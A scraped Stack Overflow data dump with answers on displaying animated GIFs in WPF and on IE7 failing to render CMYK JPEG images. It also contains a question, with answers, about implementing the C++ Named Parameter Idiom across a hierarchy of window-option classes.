"selected": false,
"text": "<p>I have try all the way above, but each one has their shortness, and thanks to all you, I work out my own GifImage:</p>\n\n<pre><code> using System;\n using System.Collections.Generic;\n using System.Linq;\n using System.Text;\n using System.Windows.Controls;\n using System.Windows;\n using System.Windows.Media.Imaging;\n using System.IO;\n using System.Windows.Threading;\n\n namespace IEXM.Components\n {\n public class GifImage : Image\n {\n #region gif Source, such as \"/IEXM;component/Images/Expression/f020.gif\"\n public string GifSource\n {\n get { return (string)GetValue(GifSourceProperty); }\n set { SetValue(GifSourceProperty, value); }\n }\n\n public static readonly DependencyProperty GifSourceProperty =\n DependencyProperty.Register(\"GifSource\", typeof(string),\n typeof(GifImage), new UIPropertyMetadata(null, GifSourcePropertyChanged));\n\n private static void GifSourcePropertyChanged(DependencyObject sender,\n DependencyPropertyChangedEventArgs e)\n {\n (sender as GifImage).Initialize();\n }\n #endregion\n\n #region control the animate\n /// <summary>\n /// Defines whether the animation starts on it's own\n /// </summary>\n public bool IsAutoStart\n {\n get { return (bool)GetValue(AutoStartProperty); }\n set { SetValue(AutoStartProperty, value); }\n }\n\n public static readonly DependencyProperty AutoStartProperty =\n DependencyProperty.Register(\"IsAutoStart\", typeof(bool),\n typeof(GifImage), new UIPropertyMetadata(false, AutoStartPropertyChanged));\n\n private static void AutoStartPropertyChanged(DependencyObject sender,\n DependencyPropertyChangedEventArgs e)\n {\n if ((bool)e.NewValue)\n (sender as GifImage).StartAnimation();\n else\n (sender as GifImage).StopAnimation();\n }\n #endregion\n\n private bool _isInitialized = false;\n private System.Drawing.Bitmap _bitmap;\n private BitmapSource _source;\n\n [System.Runtime.InteropServices.DllImport(\"gdi32.dll\")]\n public static extern bool DeleteObject(IntPtr hObject);\n\n private BitmapSource GetSource()\n {\n if (_bitmap == null)\n {\n _bitmap = new System.Drawing.Bitmap(Application.GetResourceStream(\n new Uri(GifSource, UriKind.RelativeOrAbsolute)).Stream);\n }\n\n IntPtr handle = IntPtr.Zero;\n handle = _bitmap.GetHbitmap();\n\n BitmapSource bs = System.Windows.Interop.Imaging.CreateBitmapSourceFromHBitmap(\n handle, IntPtr.Zero, Int32Rect.Empty, BitmapSizeOptions.FromEmptyOptions());\n DeleteObject(handle);\n return bs;\n }\n\n private void Initialize()\n {\n // Console.WriteLine(\"Init: \" + GifSource);\n if (GifSource != null)\n Source = GetSource();\n _isInitialized = true;\n }\n\n private void FrameUpdatedCallback()\n {\n System.Drawing.ImageAnimator.UpdateFrames();\n\n if (_source != null)\n {\n _source.Freeze();\n }\n\n _source = GetSource();\n\n // Console.WriteLine(\"Working: \" + GifSource);\n\n Source = _source;\n InvalidateVisual();\n }\n\n private void OnFrameChanged(object sender, EventArgs e)\n {\n Dispatcher.BeginInvoke(DispatcherPriority.Normal, new Action(FrameUpdatedCallback));\n }\n\n /// <summary>\n /// Starts the animation\n /// </summary>\n public void StartAnimation()\n {\n if (!_isInitialized)\n this.Initialize();\n\n\n // Console.WriteLine(\"Start: \" + GifSource);\n\n System.Drawing.ImageAnimator.Animate(_bitmap, OnFrameChanged);\n }\n\n /// <summary>\n /// Stops the animation\n /// </summary>\n public void StopAnimation()\n {\n _isInitialized = false;\n if (_bitmap != null)\n {\n System.Drawing.ImageAnimator.StopAnimate(_bitmap, OnFrameChanged);\n _bitmap.Dispose();\n _bitmap = null;\n }\n _source = null;\n Initialize();\n GC.Collect();\n GC.WaitForFullGCComplete();\n\n // Console.WriteLine(\"Stop: \" + GifSource);\n }\n\n public void Dispose()\n {\n _isInitialized = false;\n if (_bitmap != null)\n {\n System.Drawing.ImageAnimator.StopAnimate(_bitmap, OnFrameChanged);\n _bitmap.Dispose();\n _bitmap = null;\n }\n _source = null;\n GC.Collect();\n GC.WaitForFullGCComplete();\n // Console.WriteLine(\"Dispose: \" + GifSource);\n }\n }\n}\n</code></pre>\n\n<p>Usage:</p>\n\n<pre><code><localComponents:GifImage x:Name=\"gifImage\" IsAutoStart=\"True\" GifSource=\"{Binding Path=value}\" />\n</code></pre>\n\n<p>As it would not cause memory leak and it animated the gif image own time line, you can try it.</p>\n"
},
{
"answer_id": 20914839,
"author": "Vojta",
"author_id": 3159082,
"author_profile": "https://Stackoverflow.com/users/3159082",
"pm_score": 0,
"selected": false,
"text": "<p>Small improvement of <code>GifImage.Initialize()</code> method, which reads proper frame timing from GIF metadata.</p>\n\n<pre><code> private void Initialize()\n {\n _gifDecoder = new GifBitmapDecoder(new Uri(\"pack://application:,,,\" + this.GifSource), BitmapCreateOptions.PreservePixelFormat, BitmapCacheOption.Default);\n\n int duration=0;\n _animation = new Int32AnimationUsingKeyFrames();\n _animation.KeyFrames.Add(new DiscreteInt32KeyFrame(0, KeyTime.FromTimeSpan(new TimeSpan(0))));\n foreach (BitmapFrame frame in _gifDecoder.Frames)\n {\n BitmapMetadata btmd = (BitmapMetadata)frame.Metadata;\n duration += (ushort)btmd.GetQuery(\"/grctlext/Delay\");\n _animation.KeyFrames.Add(new DiscreteInt32KeyFrame(_gifDecoder.Frames.IndexOf(frame)+1, KeyTime.FromTimeSpan(new TimeSpan(duration*100000))));\n } \n _animation.RepeatBehavior = RepeatBehavior.Forever;\n this.Source = _gifDecoder.Frames[0]; \n _isInitialized = true;\n }\n</code></pre>\n"
},
{
"answer_id": 23245570,
"author": "Pradip Daunde",
"author_id": 2473086,
"author_profile": "https://Stackoverflow.com/users/2473086",
"pm_score": 4,
"selected": false,
"text": "<p>Its very simple if you use <code><MediaElement></code>:</p>\n\n<pre><code><MediaElement Height=\"113\" HorizontalAlignment=\"Left\" Margin=\"12,12,0,0\" \nName=\"mediaElement1\" VerticalAlignment=\"Top\" Width=\"198\" Source=\"C:\\Users\\abc.gif\"\nLoadedBehavior=\"Play\" Stretch=\"Fill\" SpeedRatio=\"1\" IsMuted=\"False\" />\n</code></pre>\n"
},
{
"answer_id": 24368688,
"author": "matuuar",
"author_id": 1472230,
"author_profile": "https://Stackoverflow.com/users/1472230",
"pm_score": 3,
"selected": false,
"text": "<p>I use this library: <a href=\"https://github.com/XamlAnimatedGif/WpfAnimatedGif\" rel=\"nofollow noreferrer\">https://github.com/XamlAnimatedGif/WpfAnimatedGif</a></p>\n\n<p>First, install library into your project (using Package Manager Console):</p>\n\n<pre><code> PM > Install-Package WpfAnimatedGif\n</code></pre>\n\n<p>Then, use this snippet into XAML file:</p>\n\n<pre><code> <Window x:Class=\"WpfAnimatedGif.Demo.MainWindow\"\n xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\n xmlns:gif=\"http://wpfanimatedgif.codeplex.com\"\n Title=\"MainWindow\" Height=\"350\" Width=\"525\">\n <Grid>\n <Image gif:ImageBehavior.AnimatedSource=\"Images/animated.gif\" />\n ...\n</code></pre>\n\n<p>I hope helps.</p>\n\n<p>Source: <a href=\"https://github.com/XamlAnimatedGif/WpfAnimatedGif\" rel=\"nofollow noreferrer\">https://github.com/XamlAnimatedGif/WpfAnimatedGif</a></p>\n"
},
{
"answer_id": 45291606,
"author": "olammy",
"author_id": 1635719,
"author_profile": "https://Stackoverflow.com/users/1635719",
"pm_score": 0,
"selected": false,
"text": "<p>I am not sure if this has been solved but the best way is to use the <a href=\"https://github.com/XamlAnimatedGif/WpfAnimatedGif\" rel=\"nofollow noreferrer\">WpfAnimatedGid library</a>. It is very easy, simple and straight forward to use. It only requires 2lines of XAML code and about 5 lines of C# Code in the code behind. </p>\n\n<p>You will see all the necessary details of how this can be used there. This is what I also used instead of re-inventing the wheel</p>\n"
},
{
"answer_id": 51128230,
"author": "Heitor Castro",
"author_id": 2386059,
"author_profile": "https://Stackoverflow.com/users/2386059",
"pm_score": 0,
"selected": false,
"text": "<p>Adding on to the main response that recommends the usage of <strong>WpfAnimatedGif</strong>, you must add the following lines in the end if you are <strong>swapping an image with a Gif</strong> to ensure the animation actually executes:</p>\n\n<pre><code>ImageBehavior.SetRepeatBehavior(img, new RepeatBehavior(0));\nImageBehavior.SetRepeatBehavior(img, RepeatBehavior.Forever);\n</code></pre>\n\n<p>So your code will look like:</p>\n\n<pre><code>var image = new BitmapImage();\nimage.BeginInit();\nimage.UriSource = new Uri(fileName);\nimage.EndInit();\nImageBehavior.SetAnimatedSource(img, image);\nImageBehavior.SetRepeatBehavior(img, new RepeatBehavior(0));\nImageBehavior.SetRepeatBehavior(img, RepeatBehavior.Forever);\n</code></pre>\n"
},
{
"answer_id": 56975966,
"author": "user10763036",
"author_id": 10763036,
"author_profile": "https://Stackoverflow.com/users/10763036",
"pm_score": 0,
"selected": false,
"text": "<p>Check my code, I hope this helped you :)</p>\n\n<pre><code> public async Task GIF_Animation_Pro(string FileName,int speed,bool _Repeat)\n {\n int ab=0;\n var gif = GifBitmapDecoder.Create(new Uri(FileName), BitmapCreateOptions.PreservePixelFormat, BitmapCacheOption.Default);\n var getFrames = gif.Frames;\n BitmapFrame[] frames = getFrames.ToArray();\n await Task.Run(() =>\n {\n\n\n while (ab < getFrames.Count())\n {\n Thread.Sleep(speed);\ntry\n{\n Dispatcher.Invoke(() =>\n {\n gifImage.Source = frames[ab];\n });\n if (ab == getFrames.Count - 1&&_Repeat)\n {\n ab = 0;\n\n }\n ab++;\n }\n catch\n{\n}\n\n }\n });\n }\n</code></pre>\n\n<p>or</p>\n\n<pre><code> public async Task GIF_Animation_Pro(Stream stream, int speed,bool _Repeat)\n {\n int ab = 0; \n var gif = GifBitmapDecoder.Create(stream , BitmapCreateOptions.PreservePixelFormat, BitmapCacheOption.Default);\n var getFrames = gif.Frames;\n BitmapFrame[] frames = getFrames.ToArray();\n await Task.Run(() =>\n {\n\n\n while (ab < getFrames.Count())\n {\n Thread.Sleep(speed);\n try\n {\n\n\n Dispatcher.Invoke(() =>\n {\n gifImage.Source = frames[ab];\n });\n if (ab == getFrames.Count - 1&&_Repeat)\n {\n ab = 0;\n\n }\n ab++;\n }\n catch{} \n\n\n\n }\n });\n }\n</code></pre>\n"
},
{
"answer_id": 62351761,
"author": "Marcos Kazimoto",
"author_id": 13736405,
"author_profile": "https://Stackoverflow.com/users/13736405",
"pm_score": 2,
"selected": false,
"text": "<p>An alternative to waiting animation in WPF is:</p>\n\n<pre><code> <ProgressBar Height=\"20\" Width=\"100\" IsIndeterminate=\"True\"/>\n</code></pre>\n\n<p>It will show an animated progress bar.</p>\n"
},
{
"answer_id": 68041187,
"author": "Kip Morgan",
"author_id": 6058905,
"author_profile": "https://Stackoverflow.com/users/6058905",
"pm_score": 1,
"selected": false,
"text": "<p>I suggest using the WebBrowser control.</p>\n<p>If the gif is on the web, you can set the source in XAML:</p>\n<pre><code><WebBrowser Source="https://media.giphy.com/media/Ent2j55lyQipa/giphy.gif" />\n</code></pre>\n<p>If it is a local file you can create the Source from code-behind.</p>\n<p>XAML:</p>\n<pre><code><WebBrowser x:Name="WebBrowser" />\n</code></pre>\n<p>Code-behind:</p>\n<pre><code>private void Window_Loaded(object sender, RoutedEventArgs e)\n{\n string curDir = Directory.GetCurrentDirectory();\n this.WebBrowser.Source = new Uri(String.Format("file:///{0}/10-monkey.gif", curDir));\n}\n</code></pre>\n"
},
{
"answer_id": 73124090,
"author": "Bimo",
"author_id": 5632412,
"author_profile": "https://Stackoverflow.com/users/5632412",
"pm_score": 0,
"selected": false,
"text": "<p>You could try using a WebBrowser UI Control and setting the html string to an HTML image tag...</p>\n<p>XML:</p>\n<pre><code> <WebBrowser Name="webBrowser1"/>\n</code></pre>\n<p>C#:\nf</p>\n<pre class=\"lang-cs prettyprint-override\"><code> webBrowser1.NavigateToString( \n @"<img src=""arrow-24.png""/>"\n );\n</code></pre>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/210922",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2522462/"
] |
What control type should I use - `Image`, `MediaElement`, etc.?
|
I couldn't get the most popular answer to this question (above by Dario) to work properly. The result was weird, choppy animation with weird artifacts.
Best solution I have found so far:
<https://github.com/XamlAnimatedGif/WpfAnimatedGif>
You can install it with NuGet
`PM> Install-Package WpfAnimatedGif`
and to use it, at a new namespace to the Window where you want to add the gif image and use it as below
```
<Window x:Class="MainWindow"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:gif="http://wpfanimatedgif.codeplex.com" <!-- THIS NAMESPACE -->
Title="MainWindow" Height="350" Width="525">
<Grid>
<!-- EXAMPLE USAGE BELOW -->
<Image gif:ImageBehavior.AnimatedSource="Images/animated.gif" />
```
The package is really neat, you can set some attributes like below
```
<Image gif:ImageBehavior.RepeatBehavior="3x"
gif:ImageBehavior.AnimatedSource="Images/animated.gif" />
```
and you can use it in your code as well:
```
var image = new BitmapImage();
image.BeginInit();
image.UriSource = new Uri(fileName);
image.EndInit();
ImageBehavior.SetAnimatedSource(img, image);
```
**EDIT: Silverlight support**
As per josh2112's comment if you want to add animated GIF support to your Silverlight project then use [github.com/XamlAnimatedGif/XamlAnimatedGif](http://github.com/XamlAnimatedGif/XamlAnimatedGif)
|
210,936 |
<p>Having an issue with some images using IE7 - work fine in 6 and in all versions of Firefox.</p>
<p>Has anyone run across this before? I know I've had it happen in the past (and I googled a fix, but darned if I can find the fix again... note to self, document things like this for future ;) )</p>
<pre><code><div class="contextBlock">
<p class="cntImg"><a href="files/image.jsp" title="Image"><img src="files/images/image.jpg" alt="Image" width="171" height="96" border="0">Image</a></p>
<p class="cntImg"><a href="files/image2.jsp" title="image2"><img src="files/images/image2.jpg" alt="Image2" width="171" height="96" border="0">Image2 </a></p>
<p class="comment">Click to enlarge</p>
<div class="clr"></div>
</code></pre>
<p></p>
|
[
{
"answer_id": 210959,
"author": "Ryan Sampson",
"author_id": 1375,
"author_profile": "https://Stackoverflow.com/users/1375",
"pm_score": 0,
"selected": false,
"text": "<p>I have had similar issues in the past running the page locally on my machine with IE7. That could be the issue.</p>\n"
},
{
"answer_id": 210991,
"author": "YonahW",
"author_id": 3821,
"author_profile": "https://Stackoverflow.com/users/3821",
"pm_score": 0,
"selected": false,
"text": "<p>Is the space for the images being allocated yet the images are not showing up?</p>\n\n<p>Is it possible that other markup on the page is covering the space that the images should appear?</p>\n\n<p>Are you familiar with the <a href=\"http://www.microsoft.com/downloads/details.aspx?familyid=e59c3964-672d-4511-bb3e-2d5e1db91038&displaylang=en\" rel=\"nofollow noreferrer\">web developer toolbar for IE</a>?</p>\n\n<p>I think it is likely that the images are being rendered and that you can't see them because something else is covering them or the markup of the container they are in is causing it to not be visible.</p>\n\n<p>Good luck.</p>\n"
},
{
"answer_id": 211028,
"author": "Eric Wendelin",
"author_id": 25066,
"author_profile": "https://Stackoverflow.com/users/25066",
"pm_score": 2,
"selected": false,
"text": "<p>Two things that <em>might</em> help:</p>\n\n<ol>\n<li>close your img tags with /></li>\n<li>try removing the text from your links </li>\n</ol>\n\n<p>your links should look kinda like this:</p>\n\n<pre><code><a href=\"files/image.jsp\" title=\"Image\">\n <img src=\"files/images/image.jpg\" alt=\"Image\" width=\"171\" height=\"96\" border=\"0\" />\n</a>\n</code></pre>\n\n<p>It's possible that this could be caused by your DOCTYPE. Hope that helps.</p>\n"
},
{
"answer_id": 211308,
"author": "ConroyP",
"author_id": 2287,
"author_profile": "https://Stackoverflow.com/users/2287",
"pm_score": 3,
"selected": false,
"text": "<p>I've come across this type of problem before when images uploaded to our site were JPEGs in <a href=\"http://en.wikipedia.org/wiki/CMYK_color_model\" rel=\"noreferrer\">CMYK</a> format - Internet explorer would show them as a small red x, but Firefox would show them OK (definitely as of version 3, not sure about earlier releases).</p>\n\n<p>Could you post the css rules for <code>contextBlock</code>, <code>cntImg</code> and <code>clr</code>? Another \"funny\" IE thing I've come across in the past is images disappearing behind a text block which has a css style that IE doesn't like, so I'm wondering if this might be applicable in your case.</p>\n"
},
{
"answer_id": 287160,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 2,
"selected": false,
"text": "<p>Great thought PConroy. We were trying to debug our Web application and had images not showing up. Indeed, it was the RGB/CMYK issue. IE 7 does not render CMYK format JPG's.</p>\n"
},
{
"answer_id": 8381466,
"author": "bgcode",
"author_id": 1080979,
"author_profile": "https://Stackoverflow.com/users/1080979",
"pm_score": 1,
"selected": false,
"text": "<p>Lookup the colorspace of an image: </p>\n\n<p><code>identify -verbose MattCutts.jpg | grep Colorspace</code></p>\n\n<p>Colorspace: CMYK</p>\n\n<p>Then, convert image to RGB colorspace (can also use *.jpg etc.) </p>\n\n<p><code>mogrify -colorspace rgb MattCutts.jpg</code></p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/210936",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
Having an issue with some images using IE7 - work fine in 6 and in all versions of Firefox.
Has anyone run across this before? I know I've had it happen in the past (and I googled a fix, but darned if I can find the fix again... note to self, document things like this for future ;) )
```
<div class="contextBlock">
<p class="cntImg"><a href="files/image.jsp" title="Image"><img src="files/images/image.jpg" alt="Image" width="171" height="96" border="0">Image</a></p>
<p class="cntImg"><a href="files/image2.jsp" title="image2"><img src="files/images/image2.jpg" alt="Image2" width="171" height="96" border="0">Image2 </a></p>
<p class="comment">Click to enlarge</p>
<div class="clr"></div>
```
|
I've come across this type of problem before when images uploaded to our site were JPEGs in [CMYK](http://en.wikipedia.org/wiki/CMYK_color_model) format - Internet explorer would show them as a small red x, but Firefox would show them OK (definitely as of version 3, not sure about earlier releases).
Could you post the css rules for `contextBlock`, `cntImg` and `clr`? Another "funny" IE thing I've come across in the past is images disappearing behind a text block which has a css style that IE doesn't like, so I'm wondering if this might be applicable in your case.
|
210,939 |
<p>I've been developing a GUI library for Windows (as a personal side project, no aspirations of usefulness). For my main window class, I've set up a hierarchy of option classes (using the <a href="http://www.parashift.com/c++-faq-lite/named-parameter-idiom.html" rel="nofollow noreferrer">Named Parameter Idiom</a>), because some options are shared and others are specific to particular types of windows (like dialogs).</p>
<p>The way the Named Parameter Idiom works, the functions of the parameter class have to return the object they're called on. The problem is that, in the hierarchy, each one has to be a <em>different</em> class -- the <code>createWindowOpts</code> class for standard windows, the <code>createDialogOpts</code> class for dialogs, and the like. I've dealt with that by making all the option classes templates. Here's an example:</p>
<pre><code>template <class T>
class _sharedWindowOpts: public detail::_baseCreateWindowOpts {
public: ///////////////////////////////////////////////////////////////
// No required parameters in this case.
_sharedWindowOpts() { };
typedef T optType;
// Commonly used options
optType& at(int x, int y) { mX=x; mY=y; return static_cast<optType&>(*this); }; // Where to put the upper-left corner of the window; if not specified, the system sets it to a default position
optType& at(int x, int y, int width, int height) { mX=x; mY=y; mWidth=width; mHeight=height; return static_cast<optType&>(*this); }; // Sets the position and size of the window in a single call
optType& background(HBRUSH b) { mBackground=b; return static_cast<optType&>(*this); }; // Sets the default background to this brush
optType& background(INT_PTR b) { mBackground=HBRUSH(b+1); return static_cast<optType&>(*this); }; // Sets the default background to one of the COLOR_* colors; defaults to COLOR_WINDOW
optType& cursor(HCURSOR c) { mCursor=c; return static_cast<optType&>(*this); }; // Sets the default mouse cursor for this window; defaults to the standard arrow
optType& hidden() { mStyle&=~WS_VISIBLE; return static_cast<optType&>(*this); }; // Windows are visible by default
optType& icon(HICON iconLarge, HICON iconSmall=0) { mIcon=iconLarge; mSmallIcon=iconSmall; return static_cast<optType&>(*this); }; // Specifies the icon, and optionally a small icon
// ...Many others removed...
};
template <class T>
class _createWindowOpts: public _sharedWindowOpts<T> {
public: ///////////////////////////////////////////////////////////////
_createWindowOpts() { };
// These can't be used with child windows, or aren't needed
optType& menu(HMENU m) { mMenuOrId=m; return static_cast<optType&>(*this); }; // Gives the window a menu
optType& owner(HWND hwnd) { mParentOrOwner=hwnd; return static_cast<optType&>(*this); }; // Sets the optional parent/owner
};
class createWindowOpts: public _createWindowOpts<createWindowOpts> {
public: ///////////////////////////////////////////////////////////////
createWindowOpts() { };
};
</code></pre>
<p>It works, but as you can see, it requires a noticeable amount of extra work: a type-cast on the return type for each function, extra template classes, etcetera.</p>
<p>My question is, is there an easier way to implement the Named Parameter Idiom in this case, one that doesn't require all the extra stuff?</p>
|
[
{
"answer_id": 210990,
"author": "Moishe Lettvin",
"author_id": 23786,
"author_profile": "https://Stackoverflow.com/users/23786",
"pm_score": 2,
"selected": false,
"text": "<p>Could you just chain the method calls by reverse order of inheritance?</p>\n\n<p>So in your example you'd do something like</p>\n\n<p>Window window = CreateWindow(\"foo\").menu(hmenu).owner(hwnd).at(0,0).background(hbr);</p>\n\n<p>I realize it's not 100% transparent but seems a little easier and almost correct.</p>\n"
},
{
"answer_id": 211106,
"author": "Patrick Johnmeyer",
"author_id": 363,
"author_profile": "https://Stackoverflow.com/users/363",
"pm_score": 1,
"selected": false,
"text": "<p>I don't know if I'm in love with this answer, but here's a possibility using template argument deduction. <strong>NOTE</strong> I do not have my compiler on me, I'll double-check it tomorrow unless somebody else out there wants to give it a whirl.</p>\n\n<pre><code>class sharedWindowOpts\n{\npublic:\n\n sharedWindowOpts() {};\n\n // Commonly used options\n template <class optType>\n static optType& at(int x, int y, optType& opts) { opts.mX=x; opts.mY=y; return opts; };\n\n template <class optType>\n static optType& background(HBRUSH b, optType& opts) { opts.mBackground=b; return opts; };\n\n // etc...\n}\n\nclass createWindowOpts : public sharedWindowOpts\n{\npublic:\n createWindowOpts() : sharedwindowOpts() {};\n\n // These can't be used with child windows, or aren't needed\n template <class optType>\n static optType& menu(HMENU m, optType& opts) { opts.mMenuOrId=m; return opts; };\n\n template <class optType>\n static optType& owner(HWND hwnd, optType& opts) { opts.mParentOrOwner=hwnd; return opts; };\n }\n</code></pre>\n\n<p>Then you would call CreateWindow like this:</p>\n\n<pre><code>CreateWindow( createWindowOpts::owner(hwnd,\n createWindowOpts::at(0, 100, // can use createWindowOpts because it doesn't hide sharedWindowsOpts::at\n createWindowOpts::menu(hmenu, createWindowOpts() ) ) ) );\n</code></pre>\n\n<p>The obnoxious things about this, of course, are having to use the static method calling syntax and all the extra parentheses. If you replace the static member functions with non-member functions this can be eliminated. It does avoid the type-casting and the extra template classes, though.</p>\n\n<p><strong>Personally, I'd rather have the odd code in the library as with your method, than everywhere the library is being used like in mine.</strong></p>\n"
},
{
"answer_id": 211309,
"author": "Andreas Magnusson",
"author_id": 5811,
"author_profile": "https://Stackoverflow.com/users/5811",
"pm_score": 5,
"selected": true,
"text": "<p>Maybe not what you want to hear, but I for one think it's ok to have lots of ugly type-casts and template parameters in library-code that's (more or less) hidden from the client <em>as long as</em> it is safe <em>and</em> makes the life of the client a lot easier. The beauty in library code is not in the code itself, but in the code it enables the clients to write. Take STL for example.</p>\n\n<p>I've also developed a small GUI-library as a personal project with basically the same aspirations as you and some of the code gets pretty ugly in it, but in the end it allows me to write beautiful client code (at least in my (possibly perverted) eyes) and that's what counts IMHO.</p>\n"
},
{
"answer_id": 211624,
"author": "Pyry Jahkola",
"author_id": 26981,
"author_profile": "https://Stackoverflow.com/users/26981",
"pm_score": 3,
"selected": false,
"text": "<p>How about...?</p>\n\n<pre><code>template <class T>\nclass _sharedWindowOpts: public detail::_baseCreateWindowOpts {\n\nprotected: // (protected so the inheriting classes may also use it)\n\n T & me() { return static_cast<T&>(*this); } // !\n\npublic:\n // No required parameters in this case.\n _sharedWindowOpts() { };\n\n typedef T optType;\n\n // Commonly used options\n optType& at(int x, int y) { mX=x; mY=y; return me(); }; // !\n // ...\n};\n</code></pre>\n"
},
{
"answer_id": 211775,
"author": "xtofl",
"author_id": 6610,
"author_profile": "https://Stackoverflow.com/users/6610",
"pm_score": 0,
"selected": false,
"text": "<p>Templates are hot.</p>\n\n<p>But POP (Plain old Polymorphism) isn't dead.</p>\n\n<p>Why not return a (smart)pointer to the subclass?</p>\n"
},
{
"answer_id": 2807405,
"author": "Kyle",
"author_id": 285883,
"author_profile": "https://Stackoverflow.com/users/285883",
"pm_score": 0,
"selected": false,
"text": "<p>I know I'm a year late and a dollar short, but I'll pitch in my solution anyways.</p>\n\n<pre><code>//////// Base.. \n\ntemplate<typename DerivedBuilder, typename Options>\nclass Builder\n{\nprotected:\n Builder() {}\n DerivedBuilder& me() { return *static_cast<DerivedBuilder*>(this); }\n\n Options options;\n};\n\n\n////////////////////////// A //////////////////////////\n\n\nclass Options_A\n{\npublic:\n Options_A() : a(7) {}\n int a;\n};\n\nclass Builder_A;\n\nclass A \n{\npublic:\n virtual ~A() {}\n virtual void print() { cout << \"Class A, a:\" << a << endl; }\n\nprotected:\n friend class Builder_A;\n A(const Options_A& options) : a(options.a) {}\n int a;\n};\n\n\n\ntemplate<typename DerivedBuilder, typename Options = Options_A>\nclass BuilderT_A : public Builder<DerivedBuilder, Options>\n{\npublic:\n using Builder<DerivedBuilder, Options>::options;\n using Builder<DerivedBuilder, Options>::me;\n DerivedBuilder& a(int p) { options.a = p; return me(); }\n};\n\n\nclass Builder_A : public BuilderT_A<Builder_A>\n{\npublic:\n shared_ptr<A> create()\n {\n shared_ptr<A> obj(new A(options));\n return obj;\n }\n};\n\n////////////////////////// B //////////////////////////\n\n\n\nclass Options_B : public Options_A\n{\npublic:\n Options_B() : b(8) {}\n int b;\n};\n\nclass Builder_B;\n\nclass B : public A \n{\npublic:\n virtual ~B() {}\n virtual void print() { cout << \"Class B, a:\" << a << \", b:\" << b << endl; }\n\nprotected:\n friend class Builder_B;\n B(const Options_B& options) : A(options), b(options.b) {}\n int b;\n};\n\n\ntemplate<typename DerivedBuilder, typename Options = Options_B>\nclass BuilderT_B : public BuilderT_A<DerivedBuilder, Options>\n{\npublic:\n using Builder<DerivedBuilder, Options>::options;\n using Builder<DerivedBuilder, Options>::me;\n DerivedBuilder& b(int p) { options.b = p; return me(); }\n};\n\n\nclass Builder_B : public BuilderT_B<Builder_B>\n{\npublic:\n shared_ptr<B> create()\n {\n shared_ptr<B> obj(new B(options));\n return obj;\n }\n};\n\n\n\n////////////////////////// C //////////////////////////\n\n\n\nclass Options_C : public Options_B\n{\npublic:\n Options_C() : c(9) {}\n int c;\n};\n\nclass Builder_C;\n\nclass C : public B \n{\npublic:\n virtual ~C() {}\n virtual void print() { cout << \"Class C, a:\" << a << \", b:\" << b << \", c:\" << c << endl; }\n\nprotected:\n friend class Builder_C;\n C(const Options_C& options) : B(options), c(options.c) {}\n int c;\n};\n\n\ntemplate<typename DerivedBuilder, typename Options = Options_C>\nclass BuilderT_C : public BuilderT_B<DerivedBuilder, Options_C>\n{\npublic:\n using Builder<DerivedBuilder, Options>::options;\n using Builder<DerivedBuilder, Options>::me;\n DerivedBuilder& c(int p) { options.c = p; return *static_cast<DerivedBuilder*>(this); }\n};\n\n\nclass Builder_C : public BuilderT_C<Builder_C>\n{\npublic:\n shared_ptr<C> create()\n {\n shared_ptr<C> obj(new C(options));\n return obj;\n }\n};\n\n\n\n\n\n///////////////////////////////////////////////////////////////////////////\n\n\nint main()\n{\n shared_ptr<A> a = Builder_A().a(55).a(1).create();\n a->print();\n\n shared_ptr<B> b = Builder_B().b(99).b(2).a(88).b(4).a(2).b(3).create();\n b->print();\n\n shared_ptr<C> c = Builder_C().a(99).b(98).c(97).a(96).c(6).b(5).a(4).create();\n c->print();\n\n return 0;\n}\n\n/* Output:\n\nClass A, a:1\nClass B, a:2, b:3\nClass C, a:4, b:5, c:6\n\n*/\n</code></pre>\n\n<p>C derives from B, and B derives from A. I've repeated parameters to show they can put in any order desired. </p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/210939",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/12193/"
] |
I've been developing a GUI library for Windows (as a personal side project, no aspirations of usefulness). For my main window class, I've set up a hierarchy of option classes (using the [Named Parameter Idiom](http://www.parashift.com/c++-faq-lite/named-parameter-idiom.html)), because some options are shared and others are specific to particular types of windows (like dialogs).
The way the Named Parameter Idiom works, the functions of the parameter class have to return the object they're called on. The problem is that, in the hierarchy, each one has to be a *different* class -- the `createWindowOpts` class for standard windows, the `createDialogOpts` class for dialogs, and the like. I've dealt with that by making all the option classes templates. Here's an example:
```
template <class T>
class _sharedWindowOpts: public detail::_baseCreateWindowOpts {
public: ///////////////////////////////////////////////////////////////
// No required parameters in this case.
_sharedWindowOpts() { };
typedef T optType;
// Commonly used options
optType& at(int x, int y) { mX=x; mY=y; return static_cast<optType&>(*this); }; // Where to put the upper-left corner of the window; if not specified, the system sets it to a default position
optType& at(int x, int y, int width, int height) { mX=x; mY=y; mWidth=width; mHeight=height; return static_cast<optType&>(*this); }; // Sets the position and size of the window in a single call
optType& background(HBRUSH b) { mBackground=b; return static_cast<optType&>(*this); }; // Sets the default background to this brush
optType& background(INT_PTR b) { mBackground=HBRUSH(b+1); return static_cast<optType&>(*this); }; // Sets the default background to one of the COLOR_* colors; defaults to COLOR_WINDOW
optType& cursor(HCURSOR c) { mCursor=c; return static_cast<optType&>(*this); }; // Sets the default mouse cursor for this window; defaults to the standard arrow
optType& hidden() { mStyle&=~WS_VISIBLE; return static_cast<optType&>(*this); }; // Windows are visible by default
optType& icon(HICON iconLarge, HICON iconSmall=0) { mIcon=iconLarge; mSmallIcon=iconSmall; return static_cast<optType&>(*this); }; // Specifies the icon, and optionally a small icon
// ...Many others removed...
};
template <class T>
class _createWindowOpts: public _sharedWindowOpts<T> {
public: ///////////////////////////////////////////////////////////////
_createWindowOpts() { };
// These can't be used with child windows, or aren't needed
optType& menu(HMENU m) { mMenuOrId=m; return static_cast<optType&>(*this); }; // Gives the window a menu
optType& owner(HWND hwnd) { mParentOrOwner=hwnd; return static_cast<optType&>(*this); }; // Sets the optional parent/owner
};
class createWindowOpts: public _createWindowOpts<createWindowOpts> {
